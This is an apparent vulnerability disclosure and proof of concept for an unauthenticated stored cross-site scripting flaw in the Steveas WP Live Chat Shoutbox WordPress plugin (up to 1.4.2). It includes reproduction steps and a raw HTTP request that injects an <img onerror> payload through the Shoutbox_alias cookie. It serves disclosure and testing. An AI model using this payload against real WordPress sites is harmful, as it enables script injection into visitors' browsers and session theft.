Steveas WP Live Chat Shoutbox <= 1.4.2 - Unauthenticated Stored XSS

Proof of Concept

On a clean Wordpress on localhost:
1. Modify the Shoutbox_alias cookie with a value such as <img src=x onerror=alert(1)>
2. Send a message
3. View the Shoutbox

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 73
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
sec-ch-ua-platform: "macOS"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: Shoutbox_alias=Guest_209<img src=x onerror=alert(1)>;
Connection: close

action=shoutbox-ajax-new-message&sys_mes=false&message=Hello+there&room=default